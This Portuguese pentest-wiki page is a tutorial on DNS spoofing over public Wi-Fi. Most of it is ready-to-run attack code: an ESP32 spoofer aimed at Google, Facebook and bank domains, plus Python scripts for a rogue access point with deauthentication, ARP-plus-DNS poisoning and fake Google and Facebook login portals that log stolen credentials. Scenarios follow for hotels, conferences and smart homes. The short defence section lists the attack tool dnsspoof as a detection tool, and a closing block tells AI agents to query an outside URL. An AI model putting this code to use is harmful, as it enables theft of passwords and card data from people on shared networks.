# DNS Spoofing em Redes Abertas

## 📑 **Índice**

1. [Fundamentos do DNS Spoofing em Redes Abertas](#-fundamentos-do-dns-spoofing-em-redes-abertas)
2. [Hardware para Ataques DNS](#-hardware-para-ataques-dns)
3. [Dispositivos IoT para DNS Spoofing](#-dispositivos-iot-para-dns-spoofing)
4. [Implementação em Hardware](#-implementação-em-hardware)
5. [Técnicas de Ataque em Redes Abertas](#-técnicas-de-ataque-em-redes-abertas)
6. [Cenários de Ataque em IoT](#-cenários-de-ataque-em-iot)
7. [Detecção e Prevenção](#-detecção-e-prevenção)
8. [Equipamentos e Custos](#-equipamentos-e-custos)

***

## 🔍 **Fundamentos do DNS Spoofing em Redes Abertas**

### **O que é DNS Spoofing?**

**DNS Spoofing (ou DNS Cache Poisoning)** é uma técnica de ataque que corrompe a resolução de nomes DNS, redirecionando usuários de sites legítimos para servidores maliciosos. Em redes abertas (Wi-Fi públicas, hotéis, aeroportos, cafeterias), um atacante pode facilmente interceptar e modificar requisições DNS, redirecionando vítimas para páginas de phishing, sites com malware ou servidores de captura de credenciais.

### **Contexto em Redes Abertas**

```yaml
Redes Abertas Vulneráveis:
  - Wi-Fi de hotéis e aeroportos
  - Cafeterias e restaurantes
  - Shoppings e centros comerciais
  - Bibliotecas e espaços públicos
  - Universidades e escolas
  - Eventos e conferências

Motivação:
  ✅ Alta concentração de vítimas
  ✅ Sem autenticação (redes abertas)
  ✅ Fácil interceptação de tráfego
  ✅ Baixo custo de equipamento
  ✅ Anonimato garantido
```

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant V as Vítima
    participant A as Atacante (Rogue AP/DNS Spoofer)
    participant D as DNS Legítimo
    participant M as Servidor Malicioso

    V->>A: Requisição DNS (google.com)
    A->>D: Encaminha requisição
    D-->>A: Resposta legítima (172.217.xxx)
    A->>A: Modifica resposta
    A-->>V: Resposta falsa (evil.com IP)
    
    V->>M: Conexão ao site falso
    M-->>V: Página de phishing
```

***

## 🛠️ **Hardware para Ataques DNS**

### **Dispositivos para DNS Spoofing**

| Dispositivo               | Função                | Preço (R$)    | Onde Encontrar        | Vantagens            |
| ------------------------- | --------------------- | ------------- | --------------------- | -------------------- |
| **Raspberry Pi 4**        | Servidor DNS + AP     | \~R$400-600   | Shopee, Mercado Livre | Versátil, potente    |
| **Raspberry Pi Zero 2 W** | Discreto, portátil    | \~R$150-200   | Shopee, AliExpress    | Pequeno, barato      |
| **ESP32**                 | DNS spoofing básico   | \~R$40-60     | Shopee, AliExpress    | Muito barato         |
| **GL.iNet AR300M**        | Roteador portátil     | \~R$250-400   | AliExpress            | Já vem com OpenWrt   |
| **Pineapple (Hak5)**      | Profissional          | \~R$800-1200  | Hak5, eBay            | Especializado        |
| **Banana Pi R2**          | Alto desempenho       | \~R$500-800   | AliExpress            | Múltiplas interfaces |
| **Orange Pi Zero 2**      | Custo-benefício       | \~R$150-250   | AliExpress            | Boa performance      |
| **Total Setup Básico**    | ESP32 + antena        | \~R$80-120    | -                     | -                    |
| **Total Setup Avançado**  | Raspberry + Pineapple | \~R$1200-1800 | -                     | -                    |

***

## 📡 **Dispositivos IoT para DNS Spoofing**

### **ESP32 – DNS Spoofer de Baixo Custo**

```cpp
// esp32_dns_spoof.ino - DNS Spoofing com ESP32
#include <WiFi.h>
#include <DNSServer.h>

const byte DNS_PORT = 53;
DNSServer dnsServer;

// Configuração do Access Point
const char* ssid = "Free_WiFi";
const char* password = NULL;  // Rede aberta

// IP do servidor malicioso (página de phishing)
IPAddress maliciousIP(192, 168, 4, 1);

// Domínios a serem spoofados
const char* spoofedDomains[] = {
    "google.com",
    "facebook.com",
    "instagram.com",
    "gmail.com",
    "hotmail.com",
    "outlook.com",
    "yahoo.com",
    "bankofamerica.com",
    "itau.com.br",
    "bradesco.com.br"
};

void setup() {
    Serial.begin(115200);
    
    // Iniciar Access Point
    WiFi.softAP(ssid, password);
    Serial.println("[+] Access Point iniciado");
    Serial.print("[+] IP do AP: ");
    Serial.println(WiFi.softAPIP());
    
    // Configurar DNS spoofing
    dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
    
    // Adicionar domínios para spoof
    for (int i = 0; i < sizeof(spoofedDomains)/sizeof(spoofedDomains[0]); i++) {
        dnsServer.addHost(String(spoofedDomains[i]), maliciousIP);
        Serial.print("[+] Spoofing: ");
        Serial.println(spoofedDomains[i]);
    }
    
    // Iniciar servidor DNS
    dnsServer.start(DNS_PORT, "*", maliciousIP);
    Serial.println("[+] DNS Spoofing ativo");
}

void loop() {
    dnsServer.processNextRequest();
}
```

### **Raspberry Pi – DNS Spoofing Completo**

```python
#!/usr/bin/env python3
# raspberry_dns_spoof.py

import subprocess
import os
import time

class RaspberryPiDNSSpoof:
    """
    DNS Spoofing com Raspberry Pi
    """
    
    def __init__(self, interface='wlan0', ap_ssid='Free_WiFi'):
        self.interface = interface
        self.ap_ssid = ap_ssid
        self.dnsmasq_conf = '/etc/dnsmasq.conf'
        self.hostapd_conf = '/etc/hostapd/hostapd.conf'
    
    def setup_access_point(self):
        """
        Configurar Access Point
        """
        print("[*] Configurando Access Point...")
        
        # Configurar hostapd
        hostapd_config = f"""
interface={self.interface}
driver=nl80211
ssid={self.ap_ssid}
hw_mode=g
channel=6
wmm_enabled=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
"""
        with open(self.hostapd_conf, 'w') as f:
            f.write(hostapd_config)
        
        # Configurar dnsmasq
        dnsmasq_config = f"""
interface={self.interface}
dhcp-range=192.168.4.2,192.168.4.100,255.255.255.0,24h
dhcp-option=3,192.168.4.1
dhcp-option=6,192.168.4.1
server=/google.com/192.168.4.1
server=/facebook.com/192.168.4.1
server=/instagram.com/192.168.4.1
address=/#/192.168.4.1
log-queries
log-dhcp
"""
        with open(self.dnsmasq_conf, 'w') as f:
            f.write(dnsmasq_config)
        
        # Configurar IP da interface
        subprocess.call(f"ifconfig {self.interface} 192.168.4.1 netmask 255.255.255.0 up", shell=True)
        
        print("[+] Access Point configurado")
    
    def setup_web_server(self, phishing_page='index.html'):
        """
        Configurar servidor web para página de phishing
        """
        print("[*] Configurando servidor web...")
        
        # Criar página de phishing (clonar site alvo)
        html_content = '''
        <!DOCTYPE html>
        <html>
        <head><title>Login</title></head>
        <body>
            <center>
                <h2>Faça login para continuar</h2>
                <form method="POST" action="/capture">
                    <input type="text" name="email" placeholder="E-mail"><br>
                    <input type="password" name="password" placeholder="Senha"><br>
                    <input type="submit" value="Entrar">
                </form>
            </center>
        </body>
        </html>
        '''
        
        with open('/var/www/html/index.html', 'w') as f:
            f.write(html_content)
        
        # Iniciar servidor web
        subprocess.Popen(['service', 'apache2', 'start'])
        
        print("[+] Servidor web iniciado")
    
    def start_capturing(self):
        """
        Iniciar captura de credenciais
        """
        print("[*] Iniciando captura de credenciais...")
        
        # Script para capturar POST requests
        capture_script = '''
import socket
import threading

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 80))
server.listen(10)

print("[*] Capturando credenciais...")

while True:
    client, addr = server.accept()
    data = client.recv(4096)
    if b'POST' in data:
        print(f"[!] Credenciais capturadas de {addr}:")
        print(data)
    client.close()
'''
        
        with open('/tmp/capture.py', 'w') as f:
            f.write(capture_script)
        
        subprocess.Popen(['python3', '/tmp/capture.py'])
    
    def start(self):
        """
        Iniciar ataque completo
        """
        print("=== DNS Spoofing com Raspberry Pi ===\n")
        
        self.setup_access_point()
        self.setup_web_server()
        self.start_capturing()
        
        print("\n[+] Ataque em execução!")
        print(f"[+] SSID: {self.ap_ssid}")
        print("[+] Vítimas serão redirecionadas para página falsa")
        print("[+] Credenciais serão capturadas")

# Uso
# attacker = RaspberryPiDNSSpoof()
# attacker.start()
```

### **Pineapple WiFi (Hak5) – Profissional**

```yaml
Pineapple WiFi (Hak5):
  
  Características:
    - Hardware especializado para ataques WiFi
    - Interface web para gerenciamento
    - Módulos pré-configurados
    - Captura de credenciais automática
  
  Módulos para DNS Spoofing:
    - DNS Spoof (redirecionamento de domínios)
    - Evil Portal (página de captura)
    - SSLstrip (downgrade HTTPS)
    - Karma (responde a probes)
  
  Vantagens:
    - Plug-and-play
    - Interface amigável
    - Alta taxa de sucesso
    - Furtivo
  
  Preço: ~R$800-1200 (importação)
```

***

## ⚔️ **Técnicas de Ataque em Redes Abertas**

### **1. Rogue AP + DNS Spoofing**

```python
#!/usr/bin/env python3
# rogue_ap_dns_spoof.py

import subprocess
import time
import threading

class RogueAPDNSSpoof:
    """
    Rogue Access Point com DNS Spoofing
    """
    
    def __init__(self, interface='wlan0', ssid='Free_WiFi', channel=6):
        self.interface = interface
        self.ssid = ssid
        self.channel = channel
        self.victims = []
    
    def create_rogue_ap(self):
        """
        Criar Access Point falso
        """
        print(f"[*] Criando Rogue AP: {self.ssid}")
        
        # Colocar interface em modo monitor
        subprocess.call(f"airmon-ng start {self.interface}", shell=True)
        
        # Criar AP com hostapd
        hostapd_conf = f"""
interface={self.interface}
driver=nl80211
ssid={self.ssid}
hw_mode=g
channel={self.channel}
wmm_enabled=1
auth_algs=1
ignore_broadcast_ssid=0
"""
        with open('/tmp/hostapd.conf', 'w') as f:
            f.write(hostapd_conf)
        
        # Iniciar hostapd
        subprocess.Popen(['hostapd', '/tmp/hostapd.conf'])
        
        print("[+] Rogue AP ativo")
    
    def deauth_original_ap(self, bssid, channel):
        """
        Desautenticar clientes do AP original
        """
        print(f"[*] Desautenticando clientes de {bssid}")
        
        # Forçar clientes a se reconectarem
        cmd = f"aireplay-ng -0 5 -a {bssid} {self.interface}"
        subprocess.call(cmd, shell=True)
        
        time.sleep(2)
    
    def capture_credentials(self):
        """
        Capturar credenciais via portal cativo
        """
        print("[*] Aguardando credenciais...")
        
        # Servidor HTTP para captura
        from http.server import HTTPServer, BaseHTTPRequestHandler
        
        class CaptureHandler(BaseHTTPRequestHandler):
            def do_POST(self):
                content_length = int(self.headers['Content-Length'])
                post_data = self.rfile.read(content_length)
                print(f"[!] Credenciais capturadas: {post_data}")
                
                self.send_response(302)
                self.send_header('Location', 'https://www.google.com')
                self.end_headers()
            
            def do_GET(self):
                self.send_response(200)
                self.send_header('Content-type', 'text/html')
                self.end_headers()
                
                # Página de phishing
                html = '''
                <html>
                <body>
                    <center>
                        <h2>Conecte-se à rede Wi-Fi</h2>
                        <form method="POST">
                            <input type="text" name="email" placeholder="E-mail"><br>
                            <input type="password" name="password" placeholder="Senha"><br>
                            <input type="submit" value="Conectar">
                        </form>
                    </center>
                </body>
                </html>
                '''
                self.wfile.write(html.encode())
        
        server = HTTPServer(('0.0.0.0', 80), CaptureHandler)
        server.serve_forever()
    
    def start(self):
        """
        Iniciar ataque
        """
        print("=== Rogue AP + DNS Spoofing ===\n")
        
        # Iniciar Rogue AP
        self.create_rogue_ap()
        
        # Iniciar servidor de captura
        threading.Thread(target=self.capture_credentials).start()
        
        print("[+] Ataque em execução")
        print(f"[+] SSID: {self.ssid}")
        print("[+] Vítimas serão direcionadas para portal falso")

# Uso
# attacker = RogueAPDNSSpoof()
# attacker.start()
```

### **2. ARP Spoofing + DNS Spoofing**

```python
#!/usr/bin/env python3
# arp_dns_spoof.py

from scapy.all import *
import threading
import time

class ARPDNSSpoof:
    """
    ARP Spoofing combinado com DNS Spoofing
    """
    
    def __init__(self, interface='eth0', gateway='192.168.1.1', target=None):
        self.interface = interface
        self.gateway = gateway
        self.target = target
        self.spoofed_ips = {}
        
        # Domínios para spoof
        self.spoof_domains = {
            b'google.com': '192.168.1.100',
            b'facebook.com': '192.168.1.100',
            b'gmail.com': '192.168.1.100'
        }
    
    def get_mac(self, ip):
        """
        Obter MAC address via ARP
        """
        arp_request = ARP(pdst=ip)
        broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
        packet = broadcast / arp_request
        answered = srp(packet, timeout=2, verbose=False)[0]
        
        if answered:
            return answered[0][1].hwsrc
        return None
    
    def arp_poison(self, target_ip, gateway_ip):
        """
        Envenenar tabela ARP
        """
        target_mac = self.get_mac(target_ip)
        gateway_mac = self.get_mac(gateway_ip)
        
        # ARP reply falso
        arp_target = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)
        arp_gateway = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip)
        
        while True:
            send(arp_target, verbose=False)
            send(arp_gateway, verbose=False)
            time.sleep(2)
    
    def dns_spoof(self, packet):
        """
        Spoofing de respostas DNS
        """
        if packet.haslayer(DNS) and packet[DNS].qr == 0:
            qname = packet[DNS].qd.qname
            
            for domain, spoof_ip in self.spoof_domains.items():
                if domain in qname:
                    print(f"[!] Spoofing DNS: {qname.decode()} -> {spoof_ip}")
                    
                    # Criar resposta DNS falsa
                    ip = spoof_ip
                    response = IP(dst=packet[IP].src, src=packet[IP].dst) / \
                               UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) / \
                               DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd,
                                   an=DNSRR(rrname=qname, type=1, rclass=1, ttl=300, rdata=ip))
                    
                    send(response, iface=self.interface, verbose=False)
                    return
            
            # Encaminhar requisição legítima
            send(packet, iface=self.interface, verbose=False)
    
    def start(self):
        """
        Iniciar ataque
        """
        print("=== ARP + DNS Spoofing ===\n")
        
        # Iniciar ARP poisoning em thread separada
        target_ip = self.target if self.target else self.gateway
        arp_thread = threading.Thread(target=self.arp_poison, args=(target_ip, self.gateway))
        arp_thread.daemon = True
        arp_thread.start()
        
        # Sniffar pacotes DNS
        print("[+] ARP poisoning ativo")
        print("[+] Aguardando consultas DNS...")
        
        sniff(iface=self.interface, filter="udp port 53", prn=self.dns_spoof, store=0)

# Uso
# attacker = ARPDNSSpoof(target='192.168.1.100', gateway='192.168.1.1')
# attacker.start()
```

### **3. Captura de Credenciais via Portal Cativo**

```python
#!/usr/bin/env python3
# captive_portal.py

import socket
import threading
import json
from datetime import datetime

class CaptivePortal:
    """
    Portal cativo para captura de credenciais
    """
    
    def __init__(self, interface='wlan0'):
        self.interface = interface
        self.credentials = []
        
        # Páginas de phishing para diferentes serviços
        self.phishing_pages = {
            'google': self.google_page,
            'facebook': self.facebook_page,
            'generic': self.generic_page
        }
    
    def google_page(self):
        """
        Página falsa do Google
        """
        return '''
        <!DOCTYPE html>
        <html>
        <head>
            <title>Google - Login</title>
            <style>
                body { font-family: Arial; text-align: center; margin-top: 100px; }
                input { padding: 10px; margin: 5px; width: 250px; }
                button { padding: 10px 20px; background: #4285f4; color: white; border: none; }
            </style>
        </head>
        <body>
            <img src="https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_92x30dp.png">
            <h2>Faça login para acessar a rede Wi-Fi</h2>
            <form method="POST" action="/capture">
                <input type="text" name="email" placeholder="E-mail"><br>
                <input type="password" name="password" placeholder="Senha"><br>
                <button type="submit">Entrar</button>
            </form>
        </body>
        </html>
        '''
    
    def facebook_page(self):
        """
        Página falsa do Facebook
        """
        return '''
        <!DOCTYPE html>
        <html>
        <head>
            <title>Facebook - Login</title>
            <style>
                body { font-family: Arial; text-align: center; margin-top: 100px; background: #f0f2f5; }
                .login-box { background: white; padding: 20px; width: 300px; margin: auto; border-radius: 8px; }
                input { padding: 10px; margin: 5px; width: 100%; }
                button { padding: 10px; background: #1877f2; color: white; border: none; width: 100%; }
            </style>
        </head>
        <body>
            <div class="login-box">
                <h2>Facebook</h2>
                <form method="POST" action="/capture">
                    <input type="text" name="email" placeholder="E-mail ou telefone"><br>
                    <input type="password" name="password" placeholder="Senha"><br>
                    <button type="submit">Entrar</button>
                </form>
            </div>
        </body>
        </html>
        '''
    
    def generic_page(self):
        """
        Página genérica de login
        """
        return '''
        <!DOCTYPE html>
        <html>
        <head>
            <title>Wi-Fi Login</title>
            <style>
                body { font-family: Arial; text-align: center; margin-top: 100px; }
                input { padding: 10px; margin: 5px; width: 250px; }
                button { padding: 10px 20px; background: #4CAF50; color: white; border: none; }
            </style>
        </head>
        <body>
            <h2>Conecte-se à rede Wi-Fi</h2>
            <p>Para acessar a internet, faça login com sua conta</p>
            <form method="POST" action="/capture">
                <input type="text" name="email" placeholder="E-mail"><br>
                <input type="password" name="password" placeholder="Senha"><br>
                <button type="submit">Conectar</button>
            </form>
        </body>
        </html>
        '''
    
    def handle_request(self, client_socket, address):
        """
        Manipular requisição HTTP
        """
        request = client_socket.recv(4096).decode('utf-8', errors='ignore')
        
        if 'POST /capture' in request:
            # Capturar credenciais
            body = request.split('\r\n\r\n')[1]
            print(f"\n[!] CREDENCIAIS CAPTURADAS de {address[0]}:")
            print(f"    {body}")
            
            # Salvar credenciais
            timestamp = datetime.now().isoformat()
            self.credentials.append({
                'timestamp': timestamp,
                'ip': address[0],
                'data': body
            })
            
            # Redirecionar para site legítimo
            response = '''HTTP/1.1 302 Found
Location: https://www.google.com
Content-Length: 0

'''
            client_socket.send(response.encode())
        
        elif 'GET /' in request:
            # Servir página de phishing
            page = self.generic_page()
            response = f'''HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: {len(page)}

{page}'''
            client_socket.send(response.encode())
        
        client_socket.close()
    
    def start_server(self, port=80):
        """
        Iniciar servidor HTTP
        """
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind(('0.0.0.0', port))
        server.listen(50)
        
        print(f"[*] Servidor HTTP iniciado na porta {port}")
        
        while True:
            client, addr = server.accept()
            threading.Thread(target=self.handle_request, args=(client, addr)).start()
    
    def save_credentials(self):
        """
        Salvar credenciais capturadas
        """
        with open('captured_creds.json', 'w') as f:
            json.dump(self.credentials, f, indent=2)
        print(f"[+] Credenciais salvas em captured_creds.json")

# Uso
# portal = CaptivePortal()
# portal.start_server()
```

***

## 🎯 **Cenários de Ataque em IoT**

### **Cenário 1: Ataque a Smart Home**

```yaml
Cenário: Casa Inteligente com dispositivos IoT
  
  Dispositivos Alvo:
    - Câmeras IP
    - Assistentes virtuais (Alexa, Google Home)
    - Fechaduras inteligentes
    - Termostatos
    - Lâmpadas inteligentes
  
  Vetor de Ataque:
    1. Criar Rogue AP com SSID igual ao da vítima
    2. Forçar desconexão dos dispositivos
    3. Dispositivos se conectam ao AP falso
    4. DNS spoofing redireciona tráfego
    5. Capturar credenciais e tokens
  
  Impacto:
    - Controle de dispositivos
    - Espionagem via câmeras
    - Abertura de fechaduras
```

### **Cenário 2: Ataque a Hotel**

```yaml
Cenário: Rede Wi-Fi de Hotel
  
  Procedimento:
    1. Identificar SSID do hotel
    2. Criar AP falso com mesmo SSID
    3. Desautenticar clientes do AP original
    4. Clientes se conectam ao AP falso
    5. DNS spoofing para páginas de pagamento
    6. Capturar dados de cartão de crédito
  
  Equipamento:
    - Raspberry Pi Zero 2 W (discreto)
    - Bateria portátil
    - Antena de alto ganho
  
  Impacto:
    - Dados de cartão de crédito
    - Credenciais de e-mail
    - Informações pessoais
```

### **Cenário 3: Ataque a Conferência**

```yaml
Cenário: Evento com Wi-Fi aberto
  
  Procedimento:
    1. Configurar AP com SSID "Conference_Free_WiFi"
    2. DNS spoofing para sites de redes sociais
    3. Capturar credenciais de login
    4. Usar credenciais em outros serviços
  
  Equipamento:
    - ESP32 (muito pequeno)
    - Power bank
    - Case impresso em 3D
  
  Impacto:
    - Contas de redes sociais
    - Acesso a e-mails
    - Propagação de malware
```

***

## 🛡️ **Detecção e Prevenção**

### **Sinais de DNS Spoofing**

```yaml
Indicadores para Usuários:
  - Certificado SSL inválido (página segura com aviso)
  - URL diferente do esperado
  - Página solicitando login repetidamente
  - Lentidão na navegação
  - Redirecionamentos inesperados

Indicadores Técnicos:
  - Respostas DNS com TTL muito baixo
  - Múltiplos servidores DNS respondendo
  - Domínios resolvendo para IPs suspeitos
  - Tráfego DNS para portas não padrão
```

### **Ferramentas de Detecção**

```bash
# Verificar servidores DNS configurados
cat /etc/resolv.conf
nslookup google.com

# Verificar integridade DNS
dig google.com +short
dig +trace google.com

# Detectar DNS spoofing
dnsspoof -i eth0 -f hosts.txt
```

### **Prevenção para Usuários**

```yaml
Recomendações:
  - Usar DNS over HTTPS (DoH) ou DNS over TLS (DoT)
  - Configurar DNS manualmente (8.8.8.8, 1.1.1.1)
  - Usar VPN em redes públicas
  - Verificar certificados SSL
  - Não inserir credenciais em páginas suspeitas
  
Configuração DoH no Firefox:
  - Settings > Network Settings > Enable DNS over HTTPS
  - Provider: Cloudflare (https://cloudflare-dns.com/dns-query)
```

### **Proteção para Redes**

```yaml
Medidas para Administradores:
  - DNSSEC (validação de respostas DNS)
  - Monitoramento de tráfego DNS
  - Bloqueio de servidores DNS não autorizados
  - Segmentação de rede (VLANs)
  - Detecção de Rogue APs
```

***

## 📊 **Conclusão**

### **Resumo Técnico**

```yaml
DNS Spoofing em Redes Abertas:
  ✅ Técnica eficaz e acessível
  ✅ Hardware barato (ESP32: ~R$40)
  ✅ Alta taxa de sucesso em redes públicas
  ✅ Pode ser combinado com outras técnicas

Ameaças:
  - Captura de credenciais
  - Redirecionamento para malware
  - Phishing em massa
  - Interceptação de comunicação

Defesas:
  - DoH/DoT (DNS criptografado)
  - VPN em redes públicas
  - Verificação de certificados
  - Conscientização do usuário
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/hardware/iot/dns-spoofing-em-redes-abertas.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
